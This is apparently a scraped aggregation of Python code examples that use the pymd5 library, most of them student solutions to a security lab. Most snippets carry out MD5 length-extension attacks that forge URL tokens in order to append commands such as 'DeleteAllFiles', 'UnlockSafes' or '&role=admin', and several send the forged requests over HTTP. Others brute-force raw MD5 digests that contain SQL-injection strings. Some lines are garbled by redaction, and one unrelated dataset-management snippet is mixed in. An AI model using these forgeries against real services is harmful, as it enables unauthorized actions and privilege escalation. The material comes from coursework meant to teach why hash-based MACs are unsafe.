예제 #1
0
def verify(key='key', data='data', append='append'):
    init = key + data
    originalHash = md5(init).hexdigest()
    pad = padding(len(key + data) * 8)
    padded = key + data + pad
    appended = padded + append
    appendedHash = md5(appended).hexdigest()

    passLen = len(key)
    passCmdLen = passLen + len(data)
    paddingLen = len(padding(passCmdLen * 8))
    bits = (passCmdLen + paddingLen) * 8
    newToken = GenerateToken(originalHash, append, bits)
    print '\nH(key||data): \n', originalHash
    print 'H(key||data||pad||append): \n', appendedHash
    print 'LEA Generated Hash: \n', newToken
예제 #2
0
def problem1():
    flag = ""
    #your code here
    admin_str = b'&role=admin'
    url_orig = make_query('one', 'hunterythompson', '')

    url_split0 = url_orig.split(b'&')
    url_split1 = url_split0[0].split(b'=')  #splits string to get md5
    md5dig = url_split1[1]

    str0 = url_split0[1] + b'&' + url_split0[
        2]  #creates string of uname & role

    md5dig = bytes.fromhex(
        md5dig.decode('utf8'))  #convert to bytes to make state
    h = md5(state=md5dig, count=512)  #set state of md5 for future
    md5dig_admin = h.update(admin_str)  #make new md5 hash
    n_hash = h.hexdigest()

    n_hashbytes = bytes(h.hexdigest(), 'utf-8')

    for s in range(1, 65):
        padding0 = padding((len(str0) + s) * 8)  #make padding for string
        url_new = url_split1[
            0] + b'=' + n_hashbytes + b'&' + str0 + padding0 + admin_str  #build new url

        if (str(make_query('one', 'hunterythompson', url_new),
                'utf-8') == 'Incorrect hash'):
            continue
        else:
            return make_query('one', 'hunterythompson', url_new)
    return
예제 #3
0
def main():
    if len(sys.argv) < 2:
        print("There were no URL's entered as a command line argument")
    else:
        for i in range(1, len(sys.argv)):
            address = sys.argv[i]
            new_address = ""
            split_address = address.split("&", 1)
            #Splits directly after the token
            get_token = split_address[0].split("=")
            #Splits directly before the token
            new_address += get_token[0] + "="
            #Gets the token
            token = get_token[1]
            #Gets the message behind the token
            message = split_address[1]
            #Calculates the length of the message to mimic
            length_of_m = PASSWORD_LENGTH + len(message)
            #Calculates the bits of message
            bits = (length_of_m + len(padding(length_of_m * 8))) * 8
            #"Preps" the md5 algorigthm
            h = md5(state=decode(token, "hex"), count=bits)
            #Hashes the message to be appended with the old message
            h.update(NEW_MESSAGE)
            #Creates the new URL with the binary padding
            new_address += h.hexdigest() + "&" + message + quote(
                padding(length_of_m * 8)) + NEW_MESSAGE
            print(new_address)
예제 #4
0
def main():
    # Take in URL and parse it
    apiUrl = sys.argv[1]
    parseURL = urlparse(apiUrl)

    #Split out the commands and
    splitCommands = parseURL.query[6:]
    splitCommands = splitCommands.split('&')

    #get md5 token from input
    md5Token = splitCommands[0]

    #Put commands back together with & symbol
    commands = ((map('&{0}'.format, splitCommands[1:])))
    msg = ''.join(str(p) for p in commands)
    #Subtract one from length to account for and sybol included at the beginning
    msgLen = 8 + len(msg) - 1

    #Find bits and set md5 hash state
    bits = (msgLen + len(padding(msgLen * 8))) * 8
    h = md5(state=bytes.fromhex(md5Token), count=bits)

    #Update hash to include new command
    x = "&command=UnlockSafes"
    h.update(x)
    padd = padding((msgLen) * 8)

    print(parseURL.scheme + '://' + parseURL.netloc + parseURL.path +
          parseURL.params + '?token=' + h.hexdigest() + msg + quote(padd) + x)
예제 #5
0
def compute_new_hash(token, user_param):
    cnt = (8 + len(user_param) + len(padding((len(user_param) + 8) * 8))) * 8

    new_hash = md5(state=token.decode("hex"), count=cnt)

    append_Str = "&command3=UnlockAllSafes"
    new_hash.update(append_Str)
    return new_hash.hexdigest()
예제 #6
0
파일: md5Ex.py 프로젝트: giSe98/ToolTesi
 def __init__(self, data, signature, secret_len, append):
     self.data = data
     self.signature = signature
     self.secret_len = secret_len
     self.append = append
     self.hashB = md5()
     self.block_size = 64
     self._b2 = self.block_size * 8
예제 #7
0
파일: md5Ex.py 프로젝트: giSe98/ToolTesi
    def extend(self):
        msg_len = len(self.data) + self.secret_len
        pad = padding(msg_len * 8)

        bits_msg = (msg_len + len(pad)) * 8

        self.hashB = md5(state=self.signature.decode("hex"), count=bits_msg)
        self.hashB.update(self.append)
        return self.getNewData()
예제 #8
0
def testString(regex, inputTest):
    h = md5()
    h.update(inputTest)
    d = str(h.digest())
    if re.search( regex, d, re.I | re.S ):
        print ("Input string is: " + inputTest)
        print ("Output digest is: " + d)
        return True
    else:
        return False
예제 #9
0
def problem1():
    flag = ""

    #Msg I want to inject
    admin = b"&role=admin"

    #Original Message
    msg = make_query("one", "amiller68", "")
    s1 = msg
    msg = msg.decode('utf-8').split('&', 1)[1]
    msg = msg.encode()

    #State I want to build off of
    s1 = s1.decode('utf-8')
    s1 = s1[s1.find("=") + 1:s1.find("&")]
    s1 = s1.encode()

    #Length of the Msg
    msg_len = len(msg) * 8

    #Don't know the Key Len; brute force different Lens
    #0 - 192 chars
    for x in range(0, 192):
        #Num Chars * 8 is bit len
        key_len = x * 8

        #Req Padding for key + msg
        req_pad = padding(msg_len + key_len)
        #len of the pad
        req_pad_len = len(req_pad) * 8

        #Block Count Given Keylen, msg_len, and pad len
        N = (key_len + msg_len + req_pad_len)

        #Create md5 hash of state s1 and operating on block len N
        h = md5(state=s1, count=N)

        #Update state with desired message
        h.update(admin)

        #Extract the Token
        token = h.hexdigest()

        #Make the completet Query
        url = (b'http://www.flickur.com/?api_tag=' + token.encode('utf-8') +
               b'&' + msg + req_pad + admin)
        print(url)

        #Make the Query
        #Use Byte encodings
        ret = make_query("one", "amiller68", url)
        if (ret != b'Incorrect hash'):
            return ret

    return flag
예제 #10
0
def length_extension(input_length, input_hash, appended_string):

    # This creates the MD5 hash starting from the final state of the
    # original message hash

    bits_processed = (input_length + len(pad_message(input_length))) * 8
    new_hash = md5(string=appended_string,
                   state=input_hash.decode("hex"),
                   count=bits_processed)

    return new_hash.hexdigest()
예제 #11
0
def md5_append_last_block(md5str, ori, oriblocknum):
    ori = md5_padding(ori, oriblocknum)

    a = unl32(md5str[:8].decode('hex'))
    b = unl32(md5str[8:16].decode('hex'))
    c = unl32(md5str[16:24].decode('hex'))
    d = unl32(md5str[24:32].decode('hex'))

    md5obj = pymd5.md5()
    md5obj.state = (a, b, c, d)
    md5obj.update(ori)
    return md5obj.final(False).encode('hex')
예제 #12
0
def decipher(query,command,outfile ):
	with open(query) as query:
		query=query.read().strip()
	with open(command) as command:
		command=command.read().strip()
	token=(query.split("&")[0]).split("=")[1]
	user="******"+(query.split("&")[1]).split("=")[1]
	token=md5(state=token.decode('hex'),count=512)
	token.update(command)
	print token.hexdigest()
	string="token="+token.hexdigest()+"&"+user+urllib.quote(padding(len(user)*8))+command
	with open(outfile,"w") as outfile:
		outfile.write(string)
예제 #13
0
def attack(query, cmd):
    end_token = query.find('&')
    token = query[:end_token].split('=')[1]
    params = query[end_token+1:]

    pad_bytes = padding((8 + len(params)) * 8)

    kms = md5(state=token.decode('hex'), count=512) # set start state to end of user string
    kms.update(cmd)
    hashed = kms.hexdigest()
    print(hashed)

    return "token=" + hashed + "&" + params + quote(pad_bytes) + cmd
예제 #14
0
def extend_query(query, command):
    divider_pos = query.find('&')
    token_query = query[:divider_pos]
    message_query = query[divider_pos + 1:]
    token = token_query.split('=')[1]
    data_length = PASSWORD_LENGTH + len(message_query)
    padding_text = padding(data_length * 8)

    md_hash = md5(state=token.decode('hex'), count=512)
    md_hash.update(command)
    new_token = md_hash.hexdigest()

    new_query = ''.join([message_query, quote(padding_text), command])
    return (new_token, new_query)
예제 #15
0
def extend_query(query, command):
    divider_pos = query.find('&')
    token_query = query[:divider_pos]
    message_query = query[divider_pos + 1:]
    token = token_query.split('=')[1]
    data_length = PASSWORD_LENGTH + len(message_query)
    padding_text = padding(data_length * 8)

    md_hash = md5(state=token.decode('hex'), count=512)
    md_hash.update(command)
    new_token = md_hash.hexdigest()

    new_query = ''.join([message_query, quote(padding_text), command])
    return (new_token, new_query)
예제 #16
0
def extend_query(query, command):
    divider_pos = query.find("&")
    token_query = query[:divider_pos]
    message_query = query[divider_pos + 1 :]
    token = token_query.split("=")[1]

    data_length = PASSWORD_LENGTH + len(message_query)
    padding_text = padding(data_length * 8)

    md_hash = md5(state=token.decode("hex"), count=512)
    md_hash.update(command)
    new_token = md_hash.hexdigest()

    new_query = "".join(["token=", new_token, "&", message_query, quote(padding_text), command])
    return new_query
예제 #17
0
def server_verify(message):

    key = "SECRETSS"
    received_query = message[0]
    received_token = message[1]
    h = pymd5.md5()

    h.update(key + received_query)
    new_token = h.hexdigest()

    if (received_token == new_token):
        print("Token Match")

    else:
        print("Token Not Match")
예제 #18
0
def attack(query, cmd):
    idx = query.find('&')
    tmp = query[:idx]
    token = tmp.split('=')[1]
    #print token
    cmds = query[idx + 1:]

    pad = padding((8 + len(cmds)) * 8)
    #print quote(pad)

    before = md5(state=token.decode('hex'), count=512)
    before.update(cmd)
    after = before.hexdigest()
    #print after

    return "token=" + after + "&" + cmds + quote(pad) + cmd
예제 #19
0
def get_password():
	""" Brute force raw md5 hash containing "'='" """

	max_num = (2**32)/2 - 1

	while(1):

		try_str = ""

		for i in range(0,3):
			try_str += str(random.randint(0,max_num))

		md5_str = md5(try_str).digest()
		str_found = re.search(b"'='", md5_str)

		if str_found:
			print("Password:"******"; md5:",md5_str)
			break;
예제 #20
0
def main():

    keylen = 8
    pad = pymd5.padding((keylen + msglen) * 8)
    padlen = len(pad)

    #"Intruder message"
    new_message = query + pad + comm3

    cnt = (keylen + msglen + padlen) * 8
    h = pymd5.md5(state=token.decode("hex"), count=cnt)
    h.update(comm3)
    intruder_token = h.hexdigest()

    # "Intruder Message and Token"
    intra_msg = (new_message, intruder_token)
    print(intra_msg)
    fo = open("Solution33.txt", "w")
    fo.write(new_message)
    server_verify(intra_msg)
예제 #21
0
def main():
    query = open(sys.argv[1], "r")
    command = open(sys.argv[2], "r")
    output = open(sys.argv[3], "w")

    x = query.readlines()
    token = x[0].split('&')[0].split("=")[1]
    user = x[0].split('&')[1] + '&' + x[0].split('&')[2] + '&' + x[0].split(
        '&')[3]

    #user.append()
    #print(user)
    command3 = command.readlines()[0]

    new_token = md5(state=token.decode("hex"), count=512)
    new_token.update(command3)

    pad = quote(padding(len(user) * 8 + 8 * 8))
    command = "token=" + new_token.hexdigest() + '&' + user + pad + command3
    output.write(command)
예제 #22
0
def len_ext_attack(url, command_to_add, user_password_length):
    """
        :rtype : void
    """

    # Parse the URL and get the current session token
    parsedUrl = urlparse.urlparse(url)
    parameters_list = urlparse.parse_qsl(parsedUrl.query)
    parameters = dict(parameters_list)

    # HERE
    # did not have the -1 before
    command_to_add = "&command" + str(len(parameters) - 1) + "=" + command_to_add

    if "token" not in parameters:
        # if there isn't a token in the parameters quit the program
        print "There is no token in the url parameters"
        assert False

    # remove the session token from the current parameters
    session_token = parameters["token"]
    del parameters["token"]

    length_of_message_with_password = len(urllib.urlencode(parameters)) + user_password_length
    bits = (length_of_message_with_password + len(padding(length_of_message_with_password * 8))) * 8

    h = md5(state=session_token.decode("hex"), count=bits)
    h.update(command_to_add)

    # build the query
    query = "token=" + h.hexdigest()

    for i in range(1, len(parameters_list)):
        query += "&" + parameters_list[i][0] + "=" + parameters_list[i][1]

    query += urllib.quote(padding(length_of_message_with_password * 8))
    query += command_to_add

    conn = httplib.HTTPConnection(parsedUrl.hostname, parsedUrl.port)
    conn.request("GET", parsedUrl.path + "?" + query)
    print conn.getresponse().read()
예제 #23
0
def problem1(cnetid):
    url = b'http://www.flickur.com/?api_tag='
    resp = make_query('one', cnetid, '')
    tag = re.findall(b'api_tag=(\w+)&uname', resp)[0]
    param = b'&uname=' + cnetid.encode('utf-8') + b'&role=user'
    start = len(param) * 8
    stop = (64 + 1024) * 8 + 1  # max len of secret||param
    for i in range(start, stop, 8):
        pad = padding(i)
        padded_param = param + pad
        # round to the next multiple of 512 since secret||padded_param is a mult of 512
        counter = math.ceil(len(padded_param) * 8 / 512) * 512
        # start at secret||padded_param
        h = md5(state=bytes.fromhex(tag.decode('utf-8')), count=counter)
        h.update('&role=admin')
        forged_tag = h.hexdigest()
        padded_param += b'&role=admin'
        attack = url + forged_tag.encode('utf-8') + padded_param
        res = make_query('one', cnetid, attack)
        if b'flag' in res:
            return res
예제 #24
0
def main(query_file, command3_file, output_file):
    q = open(query_file)
    c = open(command3_file)
    out = open(output_file, "w")

    query = q.read().strip()
    command = c.read().strip()

    hash_string = grab_state(query)
    h = m.md5(state=hash_string.decode("hex"),
              count=512)  # eight bits per char
    h.update(command)
    updated_hash = h.hexdigest()

    result = build_query(updated_hash, query, command)

    out.write(result)

    q.close()
    c.close()
    out.close()
예제 #25
0
def main():
    if len(sys.argv) != 4:
        print 'Wrong usage.'
        sys.exit(1)

    with open(sys.argv[1]) as file:
        query = file.read().strip()
    with open(sys.argv[2]) as file:
        cmd3 = file.read().strip()

    query = query.split("=", 1)[1]
    [token, msg] = query.split("&", 1)

    bits = (8 + len(msg) + len(padding(8 * 8 + len(msg) * 8))) * 8
    h = md5(state=token.decode('hex'), count=bits)
    h.update(cmd3)
    token = h.hexdigest()

    # token = md5(msg + urllib.quote(padding(len(msg)*8)) + cmd3).hexdigest()
    output = 'token=' + token + '&' + msg + urllib.quote(
        padding(8 * 8 + len(msg) * 8)) + cmd3

    with open(sys.argv[3], 'w') as file:
        file.write(output)
예제 #26
0
APPEND = "&command3=DeleteAllFiles"
PWDLEN = 8 

#define command line arguments
url = sys.argv[1]
# message = "user=admin&command1=ListFiles&command2=NoOp"
append = "&command3=DeleteAllFiles"

parsedUrl = urlparse.urlparse(url)
query = parsedUrl.query

#parse query for arguments
queryDictionary = urlparse.parse_qs(query)
oldToken = queryDictionary["token"][0]
message = "user="******"user"][0] + "&command1=" + queryDictionary["command1"][0] + "&command2=" + queryDictionary["command2"][0] 

#calculate new token
h = md5(state=oldToken.decode("hex"), count=512) 
h.update(APPEND)
newToken = h.hexdigest()

#form new query string
newQuery = "token=" + newToken + '&' + message + urllib.quote(padding((len(message)+PWDLEN)*8)) + APPEND

#make request to server
conn = httplib.HTTPConnection(parsedUrl.hostname)
conn.request("GET", parsedUrl.path + "?" + newQuery)
print conn.getresponse().read()


예제 #27
0
#!/usr/bin/python
# -*- coding: utf-8 -*-
blob = """ú<»à‰LËn$d…‚åeÏÈ}�Ûý‘y¡,®.¶‡!ûÏü©ëÖº;<X�·×¿Ž-""ý[Hto®VÀMêF|j‹õÈ%½¥‚«4ZŽ/zAbÍW÷ÌYq]½PÞ¶-(£[¤Ñ¯˜}{¨
ýøìùî6ŒN”$î×J """
from pymd5 import md5
message = "this should make the same hash"
h = md5(m)
print h.hexdigest()
h.update(blob)
print h.hexdigest()
예제 #28
0
        self.prefix = url[:url.find('=') + 1]
        self.token = url[url.find('=') + 1:url.find('&')]
        # suffix starts at the first "command=" and goes to the end of the URL
        self.suffix = url[url.find('&') + 1:]


if __name__ == "__main__":
    if len(sys.argv) < 2:
        print(f"usage: {sys.argv[0]} URL_TO_EXTEND [COMMAND_TO_ADD]",
              file=sys.stderr)
        sys.exit(-1)

    url = ParsedURL(sys.argv[1])

    # get length of original message
    length = len(url.suffix) + 8
    bits = (length + len(padding(length * 8))) * 8

    # add new command
    h = md5(state=bytes.fromhex(url.token), count=bits)
    x = "&command=UnlockSafes"
    h.update(x)

    # calculate new token and suffix (with padding in the middle)
    token = h.hexdigest()
    suffix = url.suffix + quote(padding(length * 8)) + x

    # new url in format
    modified_url = "https://project1.eecs388.org/liuspenc/lengthextension/api?token=" + token + "&" + suffix
    print(modified_url)
예제 #29
0
url = sys.argv[1]
parsedUrl = urlparse.urlparse(url)
queryDict = urlparse.parse_qs(parsedUrl.query)
state = queryDict['token'][0]

#State

tokenKey = "token="
length_of_m = 8 + (len(parsedUrl.query) - len(tokenKey + "&") - len(state)
                   )  # length of value orignally passed into md5
#print length_of_m
padding = pymd5.padding(length_of_m * 8)
count = (length_of_m + len(padding)) * 8

#Count

h = pymd5.md5(state=state.decode("hex"), count=512)
newCommand = "&command3=UnlockAllSafes"
h.update(newCommand)  # updates token to include command3
newToken = h.hexdigest()  # replaces token value in list with new value

#newToken

newQuery = tokenKey + newToken + parsedUrl.query[
    (len(tokenKey) + len(state)):] + urllib.quote(padding) + newCommand

#newQuery

conn = httplib.HTTPConnection(parsedUrl.hostname)
conn.request("GET", parsedUrl.path + "?" + newQuery)
print conn.getresponse().read()
    dprint("TESTING!!!!!!!!!!!!!!!")
    dprint(f'{test_password=}')

with open(query_file) as query_file, open(
        command3_file) as command3_file, open(output_file, 'w') as output_file:
    query_file = query_file.read().strip()
    command3_file = command3_file.read().strip()
    dprint(f'{query_file=}')
    dprint(f'{command3_file=}')

    old_hash = query_file.split('&')[0].split('=')[1]
    old_2nd_half = query_file[len(query_file.split('&')[0]) + 1:]
    old_count = (8 + len(old_2nd_half)) * 8
    old_padding = pymd5.padding(old_count)
    if test:
        md5test = pymd5.md5()
        md5test.update(test_password + old_2nd_half)
        old_hash = md5test.hexdigest()
        true_padding = pymd5.padding(len(test_password + old_2nd_half) * 8)
        dprint(f'{true_padding=}')
    dprint(f'{old_hash=}')
    dprint(f'{old_2nd_half=}')
    dprint(f'{old_count=}')
    dprint(f'{old_padding=}')

    md5 = pymd5.md5(state=old_hash, count=old_count + len(old_padding) * 8)
    md5.update(command3_file)
    new_hash = md5.hexdigest()
    dprint(f'{new_hash=}')

    padding_encoded = urllib.parse.quote_from_bytes(old_padding)
예제 #31
0
#!/usr/bin/python
# -*- coding: utf-8 -*-
blob = """ GaD�^����[�iX����4j:�J��֝ܪ��4��B�	&�L���3B=�G���1?}HR�t_�DG����g1�}"=hZ
��P7`h�ӓ"X���;�@LT�V�m���7t��y���\
  """
from pymd5 import md5
message = "this should make the same hash"
h = md5(message)
print h.hexdigest()
h.update(blob)
print h.hexdigest()
예제 #32
0
password_length = 8
appended_command = "&command3=DeleteAllFiles"

url = sys.argv[1]
# Get user & token
querystring = url[url.find('?') + 1:]
original_token = urlparse.parse_qs(querystring)['token'][0]
original_message = url[url.find('user='******'?')[0] + '?'
url += 'token=' + new_token + '&'
url += original_message + appended_string

# Your code to modify url goes here
parsedUrl = urlparse.urlparse(url)
conn = httplib.HTTPConnection(parsedUrl.hostname)
conn.request("GET", parsedUrl.path + "?" + parsedUrl.query)
print conn.getresponse().read()
예제 #33
0
from pymd5 import md5, padding
import httplib, urlparse, sys, urllib

m = "Use HMAC, not hashes"
h = md5()
h.update(m)
print h.hexdigest()
print len(m)
print len(padding(len(m)*8))
h = md5(state="3ecc68efa1871751ea9b0b1a5b25004d".decode("hex"), count=512)
x = "Good advice"
h.update(x)
print h.hexdigest()

h = md5()
h.update(m + padding(len(m)*8) + x)
print h.hexdigest()
예제 #34
0
def extend_query(query, command):
    divider_pos = query.find('&')
    token_query = query[:divider_pos]
    message_query = query[divider_pos + 1:]
    token = token_query.split('=')[1]
    data_length = PASSWORD_LENGTH + len(message_query)
    padding_text = padding(data_length * 8)

    md_hash = md5(state=token.decode('hex'), count=512)
    md_hash.update(command)
    new_token = md_hash.hexdigest()

    new_query = ''.join([message_query, quote(padding_text), command])
    return (new_token, new_query)

if __name__ == '__main__':
    print 
    password = "******"
    message = "&user=admin&command1=ListFiles&command2=NoOp"
    command = "&command3=DeleteAllFiles"
    md_hash = md5(password + message[1:])

    query_text = ''.join(['token=', md_hash.hexdigest(), message])

    print md_hash.hexdigest()
    result = extend_query(query_text, command)
    print result
    md_hash2 = md5(password+result[1])
    print md_hash2.hexdigest()
예제 #35
0
hostname = url.split('?')[0]
# print hostname

# # ['token=b301afea7dd96db3066e631741446ca1', '&user=admin&command1=ListFiles&command2=NoOp']
arguments = url.split('?')[1].split('&', 1)
# print arguments

# splits hashed value from 'token=b301afea7dd96db3066e631741446ca1'
token = arguments[0].split('=')[1]

# since the user uses 8-character password 
# add 8 to the length of the url query
len_of_m = 8 + len(arguments[1])
bits = (len_of_m + len(padding(len_of_m*8)))*8

h = md5( state=token.decode("hex"), count=bits )
# suffix is the new command that's going to be appended in the original url query
suffix = '&command3=DeleteAllFiles'
h.update(suffix);
new_token = h.hexdigest()

new_url = hostname + '?token=' + new_token + '&' + arguments[1] + urllib.quote(padding(len_of_m*8)) + suffix
# print new_url

# the new url = 
# http://eecs388.org/project1/api?token=d127a022396f60239b3d08ecc0c4e3f4
# &user=admin&command1=ListFiles&command2=NoOp%80%00%00%00%00%98%01%00%00%00%00%00%00&command3=DeleteAllFiles

# parse url 
parsedUrl = urlparse.urlparse(new_url)
예제 #36
0
from pymd5 import md5
import sys
import random
import re

while (1):
    test = "nope'='nope"
    r1 = random.randint(1, 2**31 - 1)
    r2 = random.randint(1, 2**31 - 1)
    r3 = random.randint(1, 2**31 - 1)
    r4 = random.randint(1, 2**31 - 1)
    password = str(r1) + str(r2) + str(r3) + str(r4)
    m = md5()
    m.update(password)
    x = m.digest()
    if re.search(b"\'or\'", x) or re.search(b"\'OR\'", x) or re.search(
            b"'='", x):
        print(password, x)
        break
import pymd5

key = "SECRET"
query = "user=admin&command1=ListFiles&command2=NoOp"
h = pymd5.md5()
h.update(key+query)
token = h.hexdigest()
tokenbak = token
query = "token=" + token + "&" + query

''' Read the new command '''
fi = open("3.3_command3.txt")
comm3 = fi.readline().strip()
fi.close()

''' Extract token (hash) and message from the query '''
token = query[query.index("=")+1:query.index("&")]
msg = query[query.index("&")+1:]

''' Compute the padding of current message '''
msglen = len(msg)
for keylen in range(0, 10):
    pad = pymd5.padding((keylen+msglen)*8)
    padhex = pad.encode("hex")

    ''' Setup the md5 hash function '''
    padlen = len(pad)
    cnt = (keylen + msglen + padlen) * 8
    h = pymd5.md5(state=token.decode("hex"), count=cnt)
    h.update(comm3)
예제 #38
0
import sys
from pymd5 import md5, padding
from urllib import quote
import re

query_file = sys.argv[1] 
command3_file = sys.argv[2] 
output_file = sys.argv[3]

with open(query_file) as f:
	query = f.read().strip()

with open(command3_file) as f:
	command3 = f.read().strip()

m = re.search(r'user=.*', query).group() # match user=...&commands
length_of_m = 8 + len(m) # 8 is password length
bits = (length_of_m + len(padding(length_of_m * 8))) * 8
token = re.search(r'(?<=token=)[0-9a-fA-F]+(?<!&)', query).group() # match the token

h = md5(state = token.decode('hex'), count = bits)
h.update(command3)
new_token = h.hexdigest()

with open(output_file, 'w') as f:
	f.write("token=" + new_token + "&" + m + quote(padding(length_of_m * 8)) + command3)
예제 #39
0
from urlparse import urlparse, parse_qs
from urllib import quote
import httplib, sys

ATTACK = "&command3=DeleteAllFiles"

url = sys.argv[1]

parsed_url = urlparse(url)
params = parse_qs(parsed_url.query)

token = params.get("token")[0]
usr_part = parsed_url.query[39:]

m_len = 8 + len(usr_part)
padded_len = (m_len + len(padding(m_len * 8))) * 8

digest = md5(state=(token.decode("hex")), count=padded_len)
digest.update(ATTACK)

new_token = digest.hexdigest()

# add the padding needed for this url for new token
new_query = "token=" + new_token + "&" + usr_part + quote(padding(m_len * 8)) + ATTACK

connection = httplib.HTTPConnection(parsed_url.hostname)
my_request = parsed_url.path + "?" + new_query
connection.request("GET", my_request)
print connection.getresponse().read()

예제 #40
0
    len_og_msg += len(n)
    count_of_extra += 1
len_og_msg += 8 + count_of_extra - 1

#Concatenate all queries for single command
command = ""
for n in query:
    command += n + "&"
command = command[:-1]
print(command)

pad = quote(padding(len_og_msg * 8))

#Calculate hash with count bits of new message
bits = (len_og_msg + len(padding(len_og_msg * 8))) * 8
h = md5(state=bytes.fromhex(token[1]), count=bits)
h.update(hack_msg)

#Re-Combine URL
newUrl = '{scheme}://{netloc}{path}?token={token}&{command}{pad}{suffix}'.format(
    scheme=parsed.scheme,
    netloc=parsed.netloc,
    path=parsed.path,
    token=h.hexdigest(),
    command=command,
    pad=pad,
    suffix=hack_msg)

parsedUrl = urlparse(newUrl)
print(newUrl)
예제 #41
0
    def push_dataset_aside(self, rd, previous_files, new_status=STATUS.OBSOLETE):  # jfp
        # based on replica_manager.push_dataset_aside(), written for the gateway system.
        # rd is a ReplicaDataset found from database self.replica_db (like rep_s before).
        # This function makes a re-named copy of it and associated files, and then deletes it
        # and the associated files.  The purpose is to make room to put a newer version of the
        # dataset into the database replica.datasets. But this also can be called to deal with
        # a withdrawn dataset.  In that case, set new_status to STATUS.WITHDRAWEN
        # previous_files is a checksum-based dictionary by which the files in the old rd can be
        # found later.
        import time

        t0 = time.time()

        # rd is obsolete.  Make a copy with a different name and status...
        name_for_obsolete = "old_" + str(rd.version) + "_" + rd.name
        # would be better to restrict the query so qname is shorter - at least use the institute:
        qname = self.replicas.query(replica_db.ReplicaDataset.name).all()
        qname = [tup[0] for tup in qname]
        # print "jfp initial name_for_obsolete=",name_for_obsolete
        # the following two lines are for debuggin only
        # print "jfp qname=",qname
        # raise Exception("jfp debugging, don't want to go on")
        if name_for_obsolete in qname:
            for i in range(99):
                name_for_obsolete = "old_" + str(i) + "_" + str(rd.version) + "_" + rd.name
                # print "jfp next name_for_obsolete=",name_for_obsolete
                if not name_for_obsolete in qname:
                    break
            if i >= 98:
                raise Exception("Can't build a name for obsolete version of dataset %s", rd.name)
        print "jfp final name_for_obsolete=", name_for_obsolete
        mod_rd = replica_db.ReplicaDataset(
            name=name_for_obsolete,
            version=rd.version,
            status=new_status,
            gateway=rd.gateway,
            parent=rd.parent,
            size=rd.size,
            filecount=rd.filecount,
            catalog=rd.catalog,
        )
        self.replicas.add(mod_rd)
        # The new copy of the dataset still has those files...
        # The files pointing to rd should instead point to the copy, mod_rd.
        for file in rd.files:
            if file.dataset_name == rd.name:
                file.dataset_name = mod_rd.name
                ##                location = file.getDownloadLocation()
                ##                if not os.path.exists(location):
                ##                    location = file.getFinalLocation()
                ##                    if not os.path.exists(location):
                ##                        location = None
                location = None
                for loc in file.getDownloadLocations():
                    if os.path.exists(loc):
                        location = loc
                        break
                if location == None:
                    # final locations are a bit trickier because the dataset version is not
                    # visible in the path
                    for loc in file.getFinalLocations():
                        if os.path.exists(loc):
                            # could get the version: locver = pubpath2version.pubpath2version(location)
                            #                        if locver==rd.version:
                            # but it's about as fast (if doing one file at a time) and more reliable
                            # to compute the checksum:
                            cksum = pymd5.md5(loc).lower()
                            if file.checksum == cksum:
                                location = loc
                                continue
                if location is not None:
                    previous_files[file.checksum] = (location, file.checksum, file.checksum_type)

        # Now that copies have been made of the existing (old) dataset and its files, we want
        # to delete the originals to make room for the new versions; and also delete those files'
        # file_access rows (there's no need for a copy of the file_access data - it's old, so if we
        # don't have it, we don't want it).
        self.replicas.flush()  # makes the new file.dataset_name visible to file_access rows
        # N.B. the with_labels() is probably unnecessary: it's a remnant of some messing around...
        fsquery = (
            self.replicas.query(replica_db.ReplicaFile.abs_path)
            .filter(replica_db.ReplicaFile.dataset_name.like(mod_rd.name))
            .with_labels()
        )
        aquery = self.replicas.query(replica_db.ReplicaAccess).filter(replica_db.ReplicaAccess.abs_path.in_(fsquery))
        an = aquery.delete(synchronize_session="fetch")

        log.info("jfp %d file_access rows deleted; about to commit" % (an))
        # The commit is needed so that the dataset will know that there are no longer files pointing
        # to it.  Maybe just a flush() would be good enough.
        self.replicas.commit()

        # Finally, it's safe to delete the old dataset:
        self.replicas.delete(rd)
        self.replicas.commit()
예제 #42
0
from pymd5 import md5, padding
import urllib
#token=94d5acaecc0d6d45f6bdabe2948722d2&user=admin&command1=ListFiles&command2=NoOp
m = "&command3=DeleteAllFiles"
x = md5()
h = md5(state="94d5acaecc0d6d45f6bdabe2948722d2".decode("hex"), count=512)
h.update(m)
h = h.hexdigest()
url = "token=" + h + "&user=admin&command1=ListFiles&command2=NoOp" + urllib.quote(
    padding(52 * 8)) + m
f = open("./sol_2.1.2.txt", "wb")
f.write(url)
예제 #43
0
# message = "user=admin&command1=ListFiles&command2=NoOp"
append = "&command3=DeleteAllFiles"

parsedUrl = urlparse.urlparse(url)
query = parsedUrl.query

# parse query for arguments
queryDictionary = urlparse.parse_qs(query)
oldToken = queryDictionary["token"][0]
message = (
    "user="******"user"][0]
    + "&command1="
    + queryDictionary["command1"][0]
    + "&command2="
    + queryDictionary["command2"][0]
)

# calculate new token
h = md5(state=oldToken.decode("hex"), count=512)
h.update(APPEND)
newToken = h.hexdigest()

# form new query string
newQuery = "token=" + newToken + "&" + message + urllib.quote(padding((len(message) + PWDLEN) * 8)) + APPEND

# make request to server
conn = httplib.HTTPConnection(parsedUrl.hostname)
conn.request("GET", parsedUrl.path + "?" + newQuery)
print conn.getresponse().read()